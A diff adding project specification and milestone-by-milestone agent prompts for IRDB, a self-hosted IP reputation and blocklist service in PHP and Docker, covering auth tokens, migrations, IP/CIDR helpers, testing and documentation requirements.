+- IP normalization helper with full unit tests covering IPv4, IPv6, IPv4-in-IPv6, invalid inputs, CIDR parsing, subnet containment.
+- **Done when**: migrations run cleanly on both drivers (test both in CI); `php api/bin/console db:seed` populates defaults; IP helper has ≥95% coverage.
+
+### M3 — API auth foundations
+- Token kinds (`reporter`, `consumer`, `admin`, `service`); creation, hashing, validation. `UI_SERVICE_TOKEN` ensured on container startup. Token-resolver middleware extracts the active principal.
+- `RbacMiddleware` enforces required role per route. `ImpersonationMiddleware` reads `X-Acting-User-Id` only when the resolved token is a service token.
+- `POST /api/v1/auth/users/upsert-oidc` and `upsert-local`. `GET /api/v1/admin/me`.
+- **Done when**: integration tests cover every combination — bad token, wrong-kind token, valid admin token, service token without impersonation header, service token with non-existent user, service token with valid user, role enforcement (viewer denied write, admin allowed). Tests against both SQLite and MySQL.
+
+### M4 — Token system & ingest API
+- Reporter and consumer token CRUD via admin endpoints (raw token shown once in response). Rate limiter (token-bucket; in-process per replica — acceptable for single-replica deployments).
+- `POST /api/v1/report` end-to-end. Append to `reports`. Update `ip_scores` synchronously for the touched (ip, category) pair.
+- **Done when**: integration test posts 100 reports across categories and reads back correct denormalized scores; bad tokens rejected; rate limit returns 429; admin-token kind cannot post reports (wrong kind).
+
+### M5 — Reputation engine + internal job endpoints
+- Decay functions (linear + exponential), score recomputation service, `Clock` interface.
+- `job_locks` and `job_runs` repositories. Job runner abstraction: each job class declares its name, default interval, max runtime; runner handles lock acquire/release, `job_runs` write, error capture.
+- Internal jobs: `recompute-scores`, `cleanup-audit`, `enrich-pending` (skeleton — full enrichment lands in M9), and the `tick` dispatcher.
+- HTTP routes `/internal/jobs/*` behind `InternalNetworkMiddleware` (loopback + RFC1918 only) and `InternalTokenMiddleware`.
+- CLI `php api/bin/console jobs:run <name>` for local invocation.
+- **Done when**: unit tests verify decay math against hand-computed values; integration test ages reports via fixed clock and confirms `recompute-scores` updates `ip_scores` correctly; concurrent calls produce one `success` and one `skipped_locked` row in `job_runs`; calls from outside the allowed network return 404; missing/wrong token returns 401; `tick` invokes only jobs whose interval has elapsed.
+
+### M6 — Manual blocks, allowlist, subnets (api)
+- Repositories + services. Admin endpoints for IP and CIDR (v4/v6) entries. CIDR containment evaluator (in-memory, refresh on change).
+- **Done when**: an IP inside an allowlisted /24 is excluded from any blocklist regardless of score; a manually blocked /16 emits as a single CIDR line; admin tests cover both v4 and v6.
+
+### M7 — Policies & distribution API
+- Policy CRUD endpoints. `GET /api/v1/blocklist` with caching, ETag, plain-text and JSON formats.
+- `GET /api/v1/admin/policies/{id}/preview` returns count + sample of resulting blocklist (used by UI).
+- **Done when**: three seeded policies produce different blocklists from the same data; ETag round-trip returns 304; performance test: 50k scored IPs render blocklist in <500 ms.
+
+### M8 — UI scaffold + auth flows
+- `ui` container: Slim app, base layout (Twig + Tailwind + dark mode toggle), session manager, CSRF middleware, ApiClient with retry and error mapping.
+- Login page, OIDC redirect/callback (PKCE), local admin form. Both call the api's auth endpoints and store `user_id` in the session.
+- `ImpersonationHeaderMiddleware` adds `Authorization: Bearer <UI_SERVICE_TOKEN>` and `X-Acting-User-Id` to every outgoing API call.
+- Logout clears the session.
+- **Done when**: a fresh user can log in via OIDC against a test tenant (document setup in `doc/oidc.md`) and via local admin; `/app/me` page renders showing the user; logout works; CSRF is enforced; an api-down scenario shows a friendly degraded page rather than an exception.
+
+### M9 — UI: IPs, history, dashboard
+- IP search/filter table, IP detail page, timeline component, dashboard with Chart.js.
+- **Done when**: every page renders for all three roles with correct visibility (cosmetic) AND the api enforces correct access (security); dark mode persists; Lighthouse accessibility ≥90.
+
+### M10 — UI: subnets, allowlist, policies, tokens, categories
+- CRUD pages for every admin domain. Token creation modal shows raw token once with copy-to-clipboard.
+- Policy editor with category × threshold matrix.
+- Category editor with decay-curve preview.
+- **Done when**: every admin endpoint reachable from the UI by an admin role; operator can do operator-allowed actions; viewer is read-only; all destructive actions show confirmation modals.
+
+### M11 — Enrichment (api)
+- MaxMind wrapper. `enrich-pending` job processes IPs missing enrichment in batches; `refresh-geoip` job downloads fresh DBs when `MAXMIND_LICENSE_KEY` is set. UI shows country flag + ASN on IP detail.
+- **Done when**: known IPs show country + ASN within one tick after first sighting; missing-DB scenario logs a warning, the enrichment job no-ops cleanly, the rest of the system keeps working.
+
+### M12 — Audit log + Settings page
+- Every write through admin or auth endpoints produces an audit entry attributed to the acting user (NOT the service token). Filterable audit page in UI.
+- Settings page: effective config (secrets masked), per-job status with overdue badges, admin-only manual-trigger buttons that POST to `/api/v1/admin/jobs/trigger/{name}`.
+- **Done when**: every action in the RBAC matrix produces a correctly attributed audit entry; manual job triggers from UI succeed and resulting `job_runs` rows carry `triggered_by = manual`; non-admin users cannot see or invoke manual triggers (UI hides them, api rejects them).
+
+### M13 — Polish, OpenAPI, docs
+- Generate and serve `openapi.yaml`, `/api/docs` viewer.
+- README walks through quickstart (compose with sidecar scheduler), MySQL setup, OIDC setup, reverse-proxy setup.
+- **All `doc/*.md` files written** per §17 — this is a hard requirement, not a nice-to-have.
+- Sample reporter scripts (`curl`, Python, Bash) and sample firewall configs (iptables ipset refresh, nginx allow/deny include, HAProxy ACL) in `examples/`.
+- **Done when**: a fresh clone → `docker compose -f docker-compose.yml -f compose.scheduler.yml up` → admin login → token created → curl example reports an IP → second curl pulls a blocklist containing it → after one minute, a `recompute-scores` row appears in `job_runs`. Steps documented and executed verbatim in CI. All `doc/` files reviewed for accuracy against the as-built code.
+
+### M14 — Hardening
+- Security headers on both containers (CSP, HSTS, X-Frame-Options, Referrer-Policy). UI login throttling and brute-force lockout on local admin. Token entropy verified. Logs scrubbed of secrets. Backup guidance for `/data` and MySQL in README.
+
+---
+
+## 13. Testing Strategy
+
+- **Unit tests**: IP helpers, decay functions, policy evaluator, RBAC checks. Aim ≥80% line coverage in `Domain/`.
+- **Integration tests**: spin up Slim app with in-memory SQLite per test class. Cover every API endpoint and every UI route's status + RBAC.
+- **Matrix CI**: run the full suite against SQLite and MySQL.
+- **Static analysis**: PHPStan level 8 on `src/`. PHP-CS-Fixer for style.
+- **Security**: `composer audit` in CI.
+
+### Running locally
+
+Composer/PHP are **not** installed on the host — every PHP-side command runs inside the prebuilt `irdb-api` / `irdb-ui` images, mounting the working tree at `/app` and bypassing the entrypoint with `--entrypoint php`.
+
+```bash
+# api
+docker run --rm -v "$PWD/api":/app -w /app --entrypoint php irdb-api:latest vendor/bin/phpunit --exclude-group perf
+docker run --rm -v "$PWD/api":/app -w /app --entrypoint php irdb-api:latest vendor/bin/phpstan analyse --memory-limit=512M
+docker run --rm -v "$PWD/api":/app -w /app --entrypoint php irdb-api:latest vendor/bin/php-cs-fixer fix --dry-run --diff
+
+# ui (same pattern, swap image + path)
+docker run --rm -v "$PWD/ui":/app -w /app --entrypoint php irdb-ui:latest vendor/bin/phpunit
+docker run --rm -v "$PWD/ui":/app -w /app --entrypoint php irdb-ui:latest vendor/bin/phpstan analyse --memory-limit=512M
+docker run --rm -v "$PWD/ui":/app -w /app --entrypoint php irdb-ui:latest vendor/bin/php-cs-fixer fix --dry-run --diff
+```
+
+Filter to a single test with `--filter <ClassName>`. Pass `-d memory_limit=…` if a suite needs more headroom.
+
+### Model selection for test/lint runs (Claude Code)
+
+- **Switch to Sonnet 4.6 (`/model sonnet`) before running test suites, PHPStan, or PHP-CS-Fixer.** These are long, repetitive tool-call loops with cheap reasoning per step — Sonnet is the right tool for the job.
+- **Switch back to Opus (`/model opus`) to diagnose failures, design fixes, or once verification is finished.** Opus is the right tool for understanding why a test failed and deciding what to change.
+
+This is a workflow guideline, not a hard rule: if Sonnet gets stuck interpreting an error, escalate to Opus immediately rather than thrashing.
+
+---
+
+## 14. Coding Conventions
+
+- Strict types (`declare(strict_types=1);`) in every PHP file.
+- PSR-12.
+- DI via PHP-DI.
+- No business logic in controllers — controllers parse input, call a service, render a response.
+- Repositories return domain objects, not arrays.
+- All DB writes inside transactions. All time via an injectable `Clock` interface (production: system clock; tests: fixed clock).
+- Exceptions: domain layer throws typed exceptions; HTTP error middleware maps them to status codes.
+- Logging via Monolog to stdout in JSON.
+
+---
+
+## 15. Out of Scope (do not build)
+
+- Multi-tenancy.
+- Federation between IRDB instances.
+- Email/Slack alerting.
+- A public reputation lookup page.
+- Automatic subnet aggregation (manual only, per spec).
+- **Future frontends** (Vue/React/Svelte SPA, native desktop, mobile apps). The architecture deliberately enables them; do not build them. Do not add hooks or speculative endpoints for them. The contract for future frontend authors is documented in `doc/frontend-development.md` (§17), and that document is the deliverable that anticipates this work — not code.
+- Direct user-token issuance (OAuth flows where the API issues tokens to end users for SPA/native/mobile use). Sketched in `doc/auth-flows.md` as future work.
+
+These can be future work; do not introduce hooks for them now beyond what naturally falls out of the design.
+
+---
+
+## 16. Documentation Requirements (`doc/`)
+
+Documentation in `doc/` is a **deliverable**, not a postscript. Future engineers building Vue/native/mobile frontends will read these files first, before touching code. They must be accurate against the as-built system. M13's acceptance criteria gate the milestone on these being complete.
+
+Each file below has a required outline. Claude Code may add subsections but must not omit the required ones. Markdown only; diagrams in Mermaid (rendered by GitHub) where helpful.
+
+### `doc/architecture.md` — Overall architecture
+
+Required sections:
+1. **System overview** — what IRDB does, in two paragraphs.
+2. **Container topology** — Mermaid diagram of api / ui / migrate / scheduler / mysql; what each owns.
+3. **Where state lives** — explicit list: `api` owns the database; `ui` owns browser sessions only.
+4. **Stable surfaces vs replaceable parts** — table identifying what new frontends can rely on (the API contract, token kinds, RBAC roles, `users` shape, OIDC role mapping semantics) versus what may change without notice (Twig templates, UI route paths under `/app/*`, internal class names).
+5. **Why this split** — short rationale: BFF pattern, why ui has no DB, why the api doesn't render HTML.
+
+### `doc/api-overview.md` — Public API surface
+
+Audience: machine-client integrators (firewalls, fail2ban-style agents, monitoring) and frontend authors.
+
+Required sections:
+1. **Base URL & versioning** — single `v1` major version, additive-only changes within `v1`.
+2. **Authentication** — short summary of token kinds (table), with link to `auth-flows.md` for detail.
+3. **Endpoint groups** — Public, Admin, Auth, Internal — what each is for and who calls it.
+4. **Common conventions** — JSON shape, error envelope, pagination, ETag, rate limiting, IP normalization, CIDR notation.
+5. **Worked examples** — `curl` snippets for: posting a report, pulling a blocklist, an admin search with service-token impersonation, an admin search with an admin-kind token.
+6. **Pointer to OpenAPI** — `/api/v1/openapi.yaml` is the source of truth for endpoint schemas; this document is for context the spec doesn't capture.
+
+### `doc/auth-flows.md` — All authentication flows
+
+Required sections:
+1. **Overview** — table of who calls what with which token kind.
+2. **Reporter / consumer flow** (machine clients) — sequence diagram (Mermaid): client → api with Bearer.
+3. **Admin token flow** — for automation that doesn't go through the UI.
+4. **UI BFF flow (current)** — full sequence diagram showing browser → ui → api with service token + impersonation header. Cover both OIDC and local admin paths.
+5. **OIDC details** — Entra app registration steps (app type, redirect URI, claims config for `groups`, optional API permissions). Include screenshots-by-description so a reader can replicate without seeing real screenshots.
+6. **Local admin** — when to use it, why it's UI-side, how to generate the password hash (`php -r "echo password_hash('s3cret', PASSWORD_ARGON2ID);"`), why it's discouraged in production.
+7. **Future: direct user tokens (out of scope, sketched)** — a section describing how a future native/mobile/SPA flow would work without the BFF: a new `/api/v1/auth/oauth/*` endpoint group issuing user-bound bearer tokens after some flow (OIDC pass-through, device code, etc.). Explicitly marked "NOT IMPLEMENTED" with a note that this is the recommended extension point.
+8. **CSRF, sessions, CORS** — what's where and why.
+
+### `doc/frontend-development.md` — Building a new frontend
+
+The headline document for future UI authors. Audience: someone tasked with rewriting the UI in Vue, building a Tauri desktop app, or a mobile app.
+
+Required sections:
+1. **Read this first** — the contract: API + auth model is stable; UI can be replaced wholesale. Link to `architecture.md`'s "stable surfaces" table.
+2. **Three integration patterns**:
+   - **(a) BFF replacement** (drop-in for the current PHP UI) — same pattern, different language. New container holds the service token, manages sessions, calls api with impersonation header. Easiest path; works for SSR-style frontends (Next.js, Nuxt, Rails, Django). Worked example: pseudocode of a Node/Express BFF showing the three critical bits (OIDC handling, session storage, outgoing API call with impersonation header).
+   - **(b) SPA + thin BFF** — Vue/React/Svelte SPA in browser, talks to a thin BFF for auth only. The BFF mints short-lived signed cookies the SPA presents on each request to the api. Pros, cons, when to choose this.
+   - **(c) Direct API access (native / mobile / SPA without BFF)** — requires the user-token flow that's out of scope today. Reader is told: "this needs api work first; see `auth-flows.md` §7".
+3. **Minimum API surface a frontend needs** — checklist of admin endpoints a fully featured UI calls. Links to OpenAPI.
+4. **CORS** — how to configure `UI_ORIGIN`. For BFF pattern (server-to-server) CORS doesn't apply; for SPA pattern it does.
+5. **Local development** — how to run only the api container and point a non-PHP frontend at it (`docker compose up api migrate` then your frontend dev server with `API_BASE_URL=http://localhost:8081`).
+6. **Migration path** — how to swap the current UI with a new one without downtime: stand the new container next to the old at a different hostname, switch DNS, retire the old.
+7. **What NOT to do** — don't replicate business logic (scoring, RBAC, decay) in the frontend; don't store user data in the frontend's storage; don't bypass the service-token pattern by giving the SPA the service token directly.
+
+### `doc/api-reference.md` — Pointer + extras
+
+Short. Tells readers the OpenAPI document is at `/api/v1/openapi.yaml` and is canonical. Documents the small set of things OpenAPI doesn't cleanly express: rate-limit headers, ETag semantics, the impersonation header convention, the response envelope for batched future endpoints.
+
+### Quality bar
+
+- Every code snippet in `doc/` must be runnable as-is against a default `docker compose up` deployment, modulo tokens and hostnames the reader needs to fill in.
+- Every claim about the API or auth flow must match what the code does. CI step: a test that grep-checks for stale endpoint paths and token kinds.
+- No "TODO" or "coming soon" sections. If something isn't built, it's marked clearly under "Out of scope / future" with the rationale, not as an empty placeholder.
+- No screenshots (they go stale fast); use descriptive prose and Mermaid diagrams.
+- Each `doc/*.md` file ≤ 500 lines. If it grows beyond that, split it.
+
+---
+
+## 17. How to Work
+
+1. Start by creating a `PLAN.md` in the repo summarizing how you'll tackle M1–M3 in concrete tasks. Stop and wait for me to confirm before coding.
+2. Maintain a TODO list in your scratchpad. Tick items as you go.
+3. After each milestone, update `PROGRESS.md` and run the full test suite + linters.
+4. If a requirement here turns out to be ambiguous or wrong once you're in the code, **stop and ask** — don't paper over it.
+5. Prefer fewer, well-tested modules over many half-finished ones. It is better to ship M1–M5 solidly than M1–M11 shakily.
+
+Begin with the `PLAN.md`.

+ 179 - 0
doc/development/files/M01-monorepo-skeleton.md

@@ -0,0 +1,179 @@
+# M01 — Monorepo Skeleton & Toolchain
+
+> Fresh Claude Code agent prompt. You are starting from an empty repo (or a repo with only `SPEC.md` and an empty `PROGRESS.md`).
+> Estimated effort: medium (mostly boilerplate; the goal is solid foundations).
+
+## Mission
+
+Create the monorepo layout, set up the toolchain (composer, npm, PHPUnit, PHPStan, php-cs-fixer), and produce buildable Docker images for both the `api` and `ui` containers. Both containers start under compose, return placeholder healthchecks, and `migrate` runs an empty Phinx migration set and exits 0. **No business logic in this milestone.**
+
+## Before you start
+
+1. Read `SPEC.md` end-to-end once. Even if it feels long, do it — every later milestone assumes you understand the architecture.
+2. Then re-read these sections carefully: §1 (Project Goals), §2 (Tech Stack), §3 (Architecture), §10 (Docker), §11 (Project Structure), §14 (Coding Conventions).
+3. Verify the working tree:
+   ```bash
+   ls -la                  # should see SPEC.md and PROGRESS.md
+   git status              # clean
+   ```
+4. Confirm tooling: `docker --version`, `docker compose version`, `php --version` (8.3+), `composer --version`, `node --version` (20+), `npm --version`.
+
+## Tasks
+
+Execute in this order. Commit nothing until acceptance passes.
+
+### 1. Repo skeleton
+
+Create the directory structure exactly as in SPEC.md §11. Empty placeholders are fine where files come later (e.g. `api/src/Domain/.gitkeep`).
+
+### 2. Root files
+
+- `.env.example` — every env var from SPEC.md §9, grouped into "Shared", "API container", "UI container" sections, with comments.
+- `.gitignore` — sensible defaults: `vendor/`, `node_modules/`, `public/assets/`, `.env`, `.phpunit.cache/`, `.phpunit.result.cache`, `data/`, IDE files.
+- `docker-compose.yml` — exactly as in SPEC.md §10.
+- `compose.scheduler.yml` — exactly as in SPEC.md §10. You don't need to make it work end-to-end yet; you only need it to be valid YAML.
+- `README.md` — minimal: project name, one-paragraph description, "see SPEC.md and milestones/ for details".
+
+### 3. `api/` subproject
+
+- `api/composer.json` — Slim 4, doctrine/dbal, robmorgan/phinx, monolog, php-di, vlucas/phpdotenv (dev), guzzlehttp/psr7. Dev: phpunit ^11, phpstan ^1.10, friendsofphp/php-cs-fixer ^3. Set `"type": "project"` and PSR-4 autoload mapping `App\\` → `src/`.
+- `api/public/index.php` — Slim app bootstrap. Two routes for now: `GET /healthz` returning `{"status": "ok"}` (JSON), and a 404 fallback. Wire structured JSON logging via Monolog to stdout.
+- `api/config/settings.php` — builds a config array from environment variables. Don't read `.env` in production; do read it in `development` via phpdotenv.
+- `api/config/phinx.php` — Phinx config that reads the same env vars. Migrations dir `db/migrations`, seeds dir `db/seeds`. Both SQLite and MySQL adapters configured.
+- `api/db/migrations/.gitkeep` and `api/db/seeds/.gitkeep`.
+- `api/bin/console` — minimal Symfony Console app with one command: `db:migrate` that delegates to `vendor/bin/phinx migrate`. Make it executable.
+- `api/docker/entrypoint.sh` — dispatcher script that switches on `$1` (`api` default → starts FrankenPHP serving `public/`; `migrate` → runs migrations and exits). Make it executable.
+- `api/docker/Caddyfile` — FrankenPHP/Caddy config serving on `:8081`. Configure `/internal/*` location with the `remote_ip` matcher from SPEC.md §6 (you don't need any internal routes yet, just the protective Caddy match).
+- `api/Dockerfile` — multi-stage as described in SPEC.md §10, `dunglas/frankenphp:1-php8.3-alpine` base. Install `pdo_sqlite`, `pdo_mysql`, `mbstring`, `intl`, `opcache`, `bcmath` extensions.
+- `api/phpunit.xml` — testsuite includes `tests/Unit` and `tests/Integration`.
+- `api/phpstan.neon` — level 8 on `src/`.
+- `api/.php-cs-fixer.dist.php` — PSR-12 + strict types.
+- `api/tests/Unit/SmokeTest.php` — one trivial assertion (`$this->assertTrue(true)`) so the suite runs.
+
+### 4. `ui/` subproject
+
+Same shape, but:
+- `ui/composer.json` — Slim 4, twig/twig, slim/twig-view, guzzlehttp/guzzle, jumbojett/openid-connect-php, monolog, php-di, vlucas/phpdotenv (dev). No DBAL, no Phinx. Same dev deps as api.
+- `ui/package.json` — `tailwindcss ^3`, `postcss`, `autoprefixer`, `alpinejs`, `htmx.org`. Build script: `tailwindcss -i resources/css/app.css -o public/assets/app.css --minify`.
+- `ui/tailwind.config.js` — content paths covering `resources/views/**/*.twig` and `resources/js/**/*.js`. `darkMode: 'class'`.
+- `ui/postcss.config.js` — autoprefixer + tailwindcss.
+- `ui/resources/css/app.css` — Tailwind directives only.
+- `ui/resources/js/app.js` — Alpine + htmx imports.
+- `ui/resources/views/layout.twig` — minimal HTML skeleton with Tailwind classes, `<html class="dark:bg-slate-900">`, dark-mode toggle button (no JS yet, just the markup).
+- `ui/resources/views/pages/hello.twig` — extends layout, says "IRDB UI — milestone 1".
+- `ui/public/index.php` — Slim with Twig. One route `GET /` renders `pages/hello.twig`. One route `GET /healthz` returns `{"status":"ok","api_reachable":null,"last_api_check_at":null}`.
+- `ui/docker/Caddyfile` — serves on `:8080`.
+- `ui/docker/entrypoint.sh` — single mode (`ui`).
+- `ui/Dockerfile` — multi-stage as in SPEC.md §10.
+- `ui/phpunit.xml`, `ui/phpstan.neon`, `ui/.php-cs-fixer.dist.php`, `ui/tests/Unit/SmokeTest.php`.
+
+### 5. `examples/` and `doc/` placeholders
+
+- `examples/scheduler/host.crontab` — a comment-only stub for now (real content lands in M13).
+- `doc/.gitkeep` — empty (docs land in M13).
+
+### 6. CI (local)
+
+Do **not** create any GitHub Actions workflow. CI runs locally on this server (which has Docker installed). Create `scripts/ci.sh` that an operator can invoke manually:
+
+- Make it executable (`chmod +x scripts/ci.sh`) and start with `#!/usr/bin/env bash` and `set -euo pipefail`.
+- Runs each stage in order, fails fast on the first non-zero exit, and prints a clear banner before each stage.
+- Stages:
+  1. `api/`: `composer install --no-interaction --prefer-dist`, then `composer stan`, `composer cs`, `composer test`.
+  2. `ui/`: `composer install --no-interaction --prefer-dist`, then `composer stan`, `composer cs`, `composer test`.
+  3. `ui/`: `npm ci` then `npm run build`; assert `ui/public/assets/app.css` exists.
+  4. `docker compose build` from the repo root to verify both images build.
+- DB driver matrix: accept an env var `DB_DRIVERS` (default `"sqlite mysql"`) and loop the api test stage once per driver, exporting `DB_DRIVER` so phpunit can pick it up. For `mysql`, skip gracefully with a warning if no local MySQL is reachable (this milestone has no DB-touching tests yet, so the loop is mostly scaffolding for later milestones).
+- At the end, print a green "CI OK" line. On failure, the failing command's exit code propagates.
+
+Also add a one-line invocation note in `README.md` under a "Local CI" heading: `./scripts/ci.sh`.
+
+## Implementation notes
+
+- **FrankenPHP entrypoints**: the entrypoint script must `exec` the FrankenPHP process for proper signal handling. `exec frankenphp run --config /etc/Caddyfile`.
+- **Caddy `:8081` for api, `:8080` for ui** — match SPEC.md §10. Don't expose the api on 8080.
+- **healthz format**: api returns `{"status":"ok"}` for now; full payload (`db`, `jobs`) lands in later milestones. Comment in the code where additional fields will go.
+- **Service token bootstrap**: do not implement yet. SPEC says the api ensures `UI_SERVICE_TOKEN` exists on startup — that lands in M03 when `api_tokens` table exists.
+- **Volume mount**: api's `entrypoint.sh` should `mkdir -p /data` before launching, in case the SQLite path is set but the dir wasn't created.
+- **Composer scripts**: add convenience scripts in each subproject's composer.json: `test` (phpunit), `stan` (phpstan), `cs` (cs-fixer), `cs-fix` (cs-fixer fix). Lets the agent in later milestones run `composer test` instead of remembering paths.
+
+## Out of scope (DO NOT)
+
+- Do **not** create any database tables or migrations beyond an empty migrations dir. Tables come in M02.
+- Do **not** implement any auth, tokens, RBAC, sessions. That's M03/M08.
+- Do **not** install any deps not listed above without strong reason. Note any addition in PROGRESS.md.
+- Do **not** write business logic. The api should respond only to `/healthz`. The ui should render only the hello page and `/healthz`.
+- Do **not** wire OIDC, MaxMind, or any external service.
+- Do **not** create files in `doc/` beyond `.gitkeep`.
+- Do **not** touch `SPEC.md`. It is read-only for milestone agents.
+
+## Acceptance
+
+Run all of these. Every one must pass. If any fails, fix and re-run; do not commit until all green.
+
+```bash
+# 1. Static analysis and style
+cd api && composer install && composer stan && composer cs && composer test && cd ..
+cd ui  && composer install && composer stan && composer cs && composer test && cd ..
+
+# 2. Frontend build
+cd ui && npm ci && npm run build && test -f public/assets/app.css && cd ..
+
+# 3. Compose build
+docker compose build
+
+# 4. Compose up — migrate exits 0, api and ui become healthy
+cp .env.example .env
+# Set required secrets in .env so containers start (use placeholder values for now):
+#   APP_SECRET, UI_SECRET, UI_SERVICE_TOKEN, INTERNAL_JOB_TOKEN — any 32 hex chars each.
+docker compose up -d
+sleep 15
+
+# Migrate must have exited 0:
+test "$(docker compose ps -a --format '{{.Service}} {{.State}} {{.ExitCode}}' | grep migrate | awk '{print $3}')" = "0"
+
+# Healthchecks (poll up to 60s):
+for i in {1..30}; do
+  curl -sf http://localhost:8081/healthz && curl -sf http://localhost:8080/healthz && break
+  sleep 2
+done
+curl -sf http://localhost:8081/healthz | grep -q '"status":"ok"'
+curl -sf http://localhost:8080/healthz | grep -q '"status":"ok"'
+
+# Hello page renders:
+curl -sf http://localhost:8080/ | grep -q "milestone 1"
+
+docker compose down -v
+```
+
+## Handoff
+
+1. Commit:
+   ```
+   feat(M01): monorepo skeleton, toolchain, docker compose builds clean
+
+   - api/ and ui/ subprojects with composer + slim 4
+   - frankenphp dockerfiles, multi-stage builds
+   - phpunit, phpstan level 8, php-cs-fixer wired into composer scripts
+   - tailwind build pipeline in ui/
+   - empty phinx migrations directory
+   - scripts/ci.sh runs the full test/lint matrix locally (no GitHub Actions)
+   ```
+
+2. Append to `PROGRESS.md`:
+   ```markdown
+   ## M01 — Monorepo skeleton (done)
+
+   **Built:** repo layout per SPEC §11, both Dockerfiles, compose stack, toolchain.
+
+   **Notes for next milestone:**
+   - DB schema empty; M02 owns all tables and seeds.
+   - `entrypoint.sh` for api supports `migrate` mode and calls `vendor/bin/phinx`.
+   - Healthcheck payloads are stubs; later milestones extend them.
+   - Service-token bootstrap deferred to M03 (needs `api_tokens` table first).
+
+   **Deviations from SPEC:** none.
+   **Added dependencies beyond SPEC §2:** none.
+   ```
+
+3. **Stop.** Do not start M02.

+ 180 - 0
doc/development/files/M02-database-migrations.md

@@ -0,0 +1,180 @@
+# M02 — Database & Migrations (api)
+
+> Fresh Claude Code agent prompt. M01 must be complete and committed.
+> Estimated effort: medium.
+
+## Mission
+
+Define every database table from `SPEC.md §4` as Phinx migrations, write seeds for default categories and policies, build a robust IP/CIDR normalization helper with thorough tests, and verify migrations run cleanly on both SQLite and MySQL.
+
+## Before you start
+
+1. Verify M01 acceptance:
+   ```bash
+   git log --oneline -1            # last commit should reference M01
+   docker compose build            # must succeed
+   cat PROGRESS.md                 # M01 entry present
+   ```
+2. Read `SPEC.md` §2 (tech stack), §4 (Data Model — every table), §5 (Reputation Engine, for context on what `ip_scores` will store), §14 (Coding Conventions).
+3. Confirm working tree is clean: `git status`.
+
+## Tasks
+
+### 1. DBAL setup
+
+In `api/src/Infrastructure/Db/`:
+- `ConnectionFactory.php` — builds a `Doctrine\DBAL\Connection` from settings. Selects driver from `DB_DRIVER` env. For SQLite, executes the four `PRAGMA` statements from SPEC §10 on each connection.
+- `RepositoryBase.php` — abstract base with `Connection` injection and helpers for inserting + fetching binary IP columns.
+- Wire the connection into the DI container.
+
+### 2. Migrations
+
+One migration file per table. File names: `YYYYMMDDHHMMSS_create_<table>.php`. Order matters because of foreign keys.
+
+Required tables (all from SPEC §4 — read it carefully, do not omit columns):
+
+1. `users`
+2. `oidc_role_mappings`
+3. `reporters`
+4. `consumers`
+5. `policies`
+6. `policy_category_thresholds` — composite PK `(policy_id, category_id)`
+7. `categories` (seed comes later)
+8. `api_tokens` — note the constraint that exactly one of `reporter_id`/`consumer_id` is set, matching `kind`. On SQLite use a `CHECK` constraint; on MySQL the same. Phinx supports both.
+9. `reports` — index `(ip_bin, category_id, received_at DESC)`.
+10. `ip_scores` — composite PK `(ip_bin, category_id)`.
+11. `ip_enrichment` — PK `ip_bin`.
+12. `manual_blocks`
+13. `allowlist`
+14. `audit_log`
+15. `job_locks` — PK `job_name`.
+16. `job_runs` — index `(job_name, started_at DESC)`.
+
+Cross-cutting requirements:
+
+- Timestamps: SQLite uses `TEXT` (ISO 8601 strings, default `CURRENT_TIMESTAMP`); MySQL uses `DATETIME(6)`. Phinx supports both via `'timestamp'` / `'datetime'` types — use the right one per adapter, or use a custom helper that picks based on the adapter.
+- IP columns: `ip_bin` = `BINARY(16)` on MySQL, `BLOB` on SQLite. `ip_text` = `VARCHAR(45)`.
+- Subnets: `network_bin` = `BINARY(16)`/`BLOB`; `prefix_length` = `SMALLINT`.
+- Foreign keys: declare them; `ON DELETE` semantics per common sense (`api_tokens.reporter_id` → cascade on reporter delete; `reports.reporter_id` → SET NULL or RESTRICT — choose RESTRICT to preserve audit trail).
+- Indexes: at minimum, every FK column is indexed. Add `(ip_bin)` indexes on `reports`, `manual_blocks`, `allowlist`.
+
+### 3. Seeds
+
+In `api/db/seeds/`:
+
+- `DefaultCategoriesSeeder.php` — five categories: `brute_force`, `spam`, `scanner`, `malware_c2`, `web_attack`. Sensible names and descriptions. Default decay: exponential, half-life 14 days.
+- `DefaultPoliciesSeeder.php` — three policies: `strict`, `moderate`, `paranoid`. Each with thresholds across all five categories. Pick numbers that produce visibly different blocklists (e.g. `paranoid` thresholds at 0.3, `moderate` at 1.0, `strict` at 2.5).
+
+Seeders are idempotent: check if a row exists by slug/name before inserting.
+
+### 4. IP normalization helper
+
+In `api/src/Domain/Ip/`:
+
+- `IpAddress.php` — value object. Static `fromString(string): self`, throws `InvalidIpException` on garbage. Stores: canonical text form (lowercase, no leading zeros for v6), 16-byte binary (v4 mapped into `::ffff:0:0/96`), and a flag indicating whether the input was originally v4. Provides `binary(): string`, `text(): string`, `isIpv4(): bool`.
+- `Cidr.php` — value object. Static `fromString(string): self`. Stores network as 16-byte binary, prefix length 0–128. For v4 CIDRs the prefix is internally stored as `96 + originalPrefix` so containment math is uniform across families. Provides `contains(IpAddress): bool`, `network(): string`, `prefixLength(): int`, `text(): string`.
+- `InvalidIpException.php`, `InvalidCidrException.php`.
+
+Tests in `api/tests/Unit/Ip/`:
+
+- `IpAddressTest.php` — at least 30 cases: dotted-quad v4, full v6, zero-compressed v6, `::ffff:1.2.3.4`, leading zeros (rejected per RFC), garbage strings, empty string, integers, addresses with whitespace.
+- `CidrTest.php` — containment edge cases: v4 in v4, v4 in v4-mapped-v6 CIDR, v6 in v6, v6 not in v4, prefix 0 (matches all of family), prefix 32/128 (matches single).
+
+Coverage target ≥95% on `src/Domain/Ip/`.
+
+### 5. CLI commands
+
+Extend `api/bin/console`:
+- `db:migrate` (already exists) — runs Phinx migrations.
+- `db:seed` — runs all seeders idempotently.
+- `db:rollback` — Phinx rollback (for dev use).
+
+## Implementation notes
+
+- **DBAL vs Phinx**: Phinx owns schema; DBAL owns runtime queries. Don't query the DB inside migrations using DBAL — use Phinx's adapter API.
+- **Binary columns on SQLite**: PDO returns BLOB columns as PHP strings (octet sequences). Be explicit: when fetching `ip_bin`, treat the value as raw bytes; when binding, use `\PDO::PARAM_LOB` or pass-through string. Hide this in `RepositoryBase`.
+- **MySQL `STRICT_TRANS_TABLES`**: assume strict mode is on. Don't rely on lax type coercion.
+- **Migration testability**: write a `tests/Integration/MigrationsTest.php` that runs migrations against an in-memory SQLite, then introspects the schema (table names, key columns) to assert structure. Also run in CI against MySQL via a service container.
+- **Seeders in tests**: integration tests should call seeders to set up baseline state.
+- **Don't seed users or tokens.** That's M03's job — auth doesn't exist yet.
+
+## Out of scope (DO NOT)
+
